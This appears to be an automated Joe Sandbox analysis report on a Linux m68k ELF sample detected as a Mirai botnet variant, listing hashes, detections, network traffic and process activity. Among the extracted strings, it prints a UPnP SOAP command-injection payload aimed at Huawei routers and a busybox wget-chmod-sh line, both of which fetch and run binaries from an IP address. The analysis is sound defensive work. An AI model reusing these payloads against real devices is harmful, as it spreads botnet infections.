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Linux Analysis Report
vcimanagement.m68k.elf

Overview

General Information

Sample name:vcimanagement.m68k.elf
Analysis ID:1582274
MD5:36090fae5a29c7255629b8a5cc8821c1
SHA1:498d6f88e7910bfdb8f25f4b8a1881d9f33e8bf9
SHA256:530d1d161ce4266cc0b930dab22319a54f4d94df6c03a7e4e8b415d56f1b2ca9
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1582274
Start date and time:2024-12-30 08:22:00 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 55s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:vcimanagement.m68k.elf
Detection:MAL
Classification:mal64.troj.linELF@0/0@0/0
  • VT rate limit hit for: http://107.150.62.186/8UsA.sh;
  • VT rate limit hit for: http://107.150.62.186/bins/x86
Command:/tmp/vcimanagement.m68k.elf
PID:6254
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • vcimanagement.m68k.elf (PID: 6254, Parent: 6178, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/vcimanagement.m68k.elf
  • dash New Fork (PID: 6284, Parent: 4332)
  • rm (PID: 6284, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0
  • dash New Fork (PID: 6285, Parent: 4332)
  • rm (PID: 6285, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
vcimanagement.m68k.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6254.1.00007fd9e4013000.00007fd9e4014000.rw-.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      6254.1.00007fd9e4001000.00007fd9e4012000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        Process Memory Space: vcimanagement.m68k.elf PID: 6254JoeSecurity_Mirai_6Yara detected MiraiJoe Security
          No Suricata rule has matched

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Source: vcimanagement.m68k.elfAvira: detected
          Source: vcimanagement.m68k.elfVirustotal: Detection: 66%Perma Link
          Source: vcimanagement.m68k.elfReversingLabs: Detection: 65%
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: unknownTCP traffic detected without corresponding DNS query: 34.249.145.219
          Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: vcimanagement.m68k.elfString found in binary or memory: http://107.150.62.186/8UsA.sh;
          Source: vcimanagement.m68k.elfString found in binary or memory: http://107.150.62.186/bins/x86
          Source: vcimanagement.m68k.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
          Source: vcimanagement.m68k.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
          Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 39256
          Source: unknownNetwork traffic detected: HTTP traffic on port 39256 -> 443
          Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
          Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://107.150.62.186/8UsA.sh; chmod +x 8UsA.sh; sh 8UsA.sh
          Source: ELF static info symbol of initial sample.symtab present: no
          Source: classification engineClassification label: mal64.troj.linELF@0/0@0/0
          Source: /usr/bin/dash (PID: 6284)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0Jump to behavior
          Source: /usr/bin/dash (PID: 6285)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0Jump to behavior
          Source: /tmp/vcimanagement.m68k.elf (PID: 6254)Queries kernel information via 'uname': Jump to behavior
          Source: vcimanagement.m68k.elf, 6254.1.00007ffe051ac000.00007ffe051cd000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-m68k/tmp/vcimanagement.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/vcimanagement.m68k.elf
          Source: vcimanagement.m68k.elf, 6254.1.00007ffe051ac000.00007ffe051cd000.rw-.sdmpBinary or memory string: /usr/bin/qemu-m68k
          Source: vcimanagement.m68k.elf, 6254.1.0000562741de5000.0000562741e49000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/m68k
          Source: vcimanagement.m68k.elf, 6254.1.00007ffe051ac000.00007ffe051cd000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
          Source: vcimanagement.m68k.elf, 6254.1.0000562741de5000.0000562741e49000.rw-.sdmpBinary or memory string: A'V!/etc/qemu-binfmt/m68k

          Stealing of Sensitive Information

          barindex
          Source: Yara matchFile source: vcimanagement.m68k.elf, type: SAMPLE
          Source: Yara matchFile source: 6254.1.00007fd9e4013000.00007fd9e4014000.rw-.sdmp, type: MEMORY
          Source: Yara matchFile source: 6254.1.00007fd9e4001000.00007fd9e4012000.r-x.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: vcimanagement.m68k.elf PID: 6254, type: MEMORYSTR

          Remote Access Functionality

          barindex
          Source: Yara matchFile source: vcimanagement.m68k.elf, type: SAMPLE
          Source: Yara matchFile source: 6254.1.00007fd9e4013000.00007fd9e4014000.rw-.sdmp, type: MEMORY
          Source: Yara matchFile source: 6254.1.00007fd9e4001000.00007fd9e4012000.r-x.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: vcimanagement.m68k.elf PID: 6254, type: MEMORYSTR
          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
          File Deletion
          OS Credential Dumping11
          Security Software Discovery
          Remote ServicesData from Local System1
          Encrypted Channel
          Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
          Application Layer Protocol
          Exfiltration Over BluetoothNetwork Denial of Service
          No configs have been found
          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Number of created Files
          • Is malicious
          • Internet
          SourceDetectionScannerLabelLink
          vcimanagement.m68k.elf67%VirustotalBrowse
          vcimanagement.m68k.elf66%ReversingLabsLinux.Backdoor.Mirai
          vcimanagement.m68k.elf100%AviraEXP/ELF.Mirai.Bootnet.o
          No Antivirus matches
          No Antivirus matches
          No Antivirus matches
          No contacted domains info
          NameSourceMaliciousAntivirus DetectionReputation
          http://107.150.62.186/bins/x86vcimanagement.m68k.elffalse
            unknown
            http://schemas.xmlsoap.org/soap/encoding/vcimanagement.m68k.elffalse
              high
              http://107.150.62.186/8UsA.sh;vcimanagement.m68k.elffalse
                unknown
                http://schemas.xmlsoap.org/soap/envelope/vcimanagement.m68k.elffalse
                  high
                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs
                  IPDomainCountryFlagASNASN NameMalicious
                  34.249.145.219
                  unknownUnited States
                  16509AMAZON-02USfalse
                  109.202.202.202
                  unknownSwitzerland
                  13030INIT7CHfalse
                  91.189.91.42
                  unknownUnited Kingdom
                  41231CANONICAL-ASGBfalse
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                                                          No context
                                                          No context
                                                          No created / dropped files found
                                                          File type:ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
                                                          Entropy (8bit):6.298926866497052
                                                          TrID:
                                                          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                          File name:vcimanagement.m68k.elf
                                                          File size:69'588 bytes
                                                          MD5:36090fae5a29c7255629b8a5cc8821c1
                                                          SHA1:498d6f88e7910bfdb8f25f4b8a1881d9f33e8bf9
                                                          SHA256:530d1d161ce4266cc0b930dab22319a54f4d94df6c03a7e4e8b415d56f1b2ca9
                                                          SHA512:34e7b9f725de3eebf7bfbf4c800ded827e7df1d68beda3f9284e48e858dac5b52ef35235a48cd8fd73d43c951547c07bc34f264a7762f73b1f4750a33cfe5fd9
                                                          SSDEEP:1536:RDUL/1TtgFyrsYQCOe6xxPEzoCBK20IgY8lq:OL/vclHP1/Soe0fO
                                                          TLSH:66635CC5E4019E3CF99BD6BE94160A08BA30635456A30F2BD6ABFCD77CB316C9E42D41
                                                          File Content Preview:.ELF.......................D...4...D.....4. ...(.................................. ...........+...+....$.......... .dt.Q............................NV..a....da....8N^NuNV..J9....f>"y..+. QJ.g.X.#...+.N."y..+. QJ.f.A.....J.g.Hy....N.X.........N^NuNV..N^NuN

                                                          ELF header

                                                          Class:ELF32
                                                          Data:2's complement, big endian
                                                          Version:1 (current)
                                                          Machine:MC68000
                                                          Version Number:0x1
                                                          Type:EXEC (Executable file)
                                                          OS/ABI:UNIX - System V
                                                          ABI Version:0
                                                          Entry Point Address:0x80000144
                                                          Flags:0x0
                                                          ELF Header Size:52
                                                          Program Header Offset:52
                                                          Program Header Size:32
                                                          Number of Program Headers:3
                                                          Section Header Offset:69188
                                                          Section Header Size:40
                                                          Number of Section Headers:10
                                                          Header String Table Index:9
                                                          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                          NULL0x00x00x00x00x0000
                                                          .initPROGBITS0x800000940x940x140x00x6AX002
                                                          .textPROGBITS0x800000a80xa80x100620x00x6AX004
                                                          .finiPROGBITS0x8001010a0x1010a0xe0x00x6AX002
                                                          .rodataPROGBITS0x800101180x101180xac20x00x2A002
                                                          .ctorsPROGBITS0x80012be00x10be00x80x00x3WA004
                                                          .dtorsPROGBITS0x80012be80x10be80x80x00x3WA004
                                                          .dataPROGBITS0x80012bf40x10bf40x2100x00x3WA004
                                                          .bssNOBITS0x80012e040x10e040x2d80x00x3WA004
                                                          .shstrtabSTRTAB0x00x10e040x3e0x00x0001
                                                          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                          LOAD0x00x800000000x800000000x10bda0x10bda6.32650x5R E0x2000.init .text .fini .rodata
                                                          LOAD0x10be00x80012be00x80012be00x2240x4fc3.06770x6RW 0x2000.ctors .dtors .data .bss
                                                          GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Dec 30, 2024 08:23:13.701253891 CET43928443192.168.2.2391.189.91.42
                                                          Dec 30, 2024 08:23:28.182137012 CET4433925634.249.145.219192.168.2.23
                                                          Dec 30, 2024 08:23:28.182688951 CET39256443192.168.2.2334.249.145.219
                                                          Dec 30, 2024 08:23:28.187721014 CET4433925634.249.145.219192.168.2.23
                                                          Dec 30, 2024 08:23:32.386743069 CET4251680192.168.2.23109.202.202.202
                                                          Dec 30, 2024 08:23:34.434489965 CET43928443192.168.2.2391.189.91.42
                                                          Dec 30, 2024 08:24:15.388750076 CET43928443192.168.2.2391.189.91.42

                                                          System Behavior

                                                          Start time (UTC):07:23:10
                                                          Start date (UTC):30/12/2024
                                                          Path:/tmp/vcimanagement.m68k.elf
                                                          Arguments:/tmp/vcimanagement.m68k.elf
                                                          File size:4463432 bytes
                                                          MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                                          Start time (UTC):07:23:27
                                                          Start date (UTC):30/12/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):07:23:27
                                                          Start date (UTC):30/12/2024
                                                          Path:/usr/bin/rm
                                                          Arguments:rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0
                                                          File size:72056 bytes
                                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                          Start time (UTC):07:23:27
                                                          Start date (UTC):30/12/2024
                                                          Path:/usr/bin/dash
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Start time (UTC):07:23:27
                                                          Start date (UTC):30/12/2024
                                                          Path:/usr/bin/rm
                                                          Arguments:rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0
                                                          File size:72056 bytes
                                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b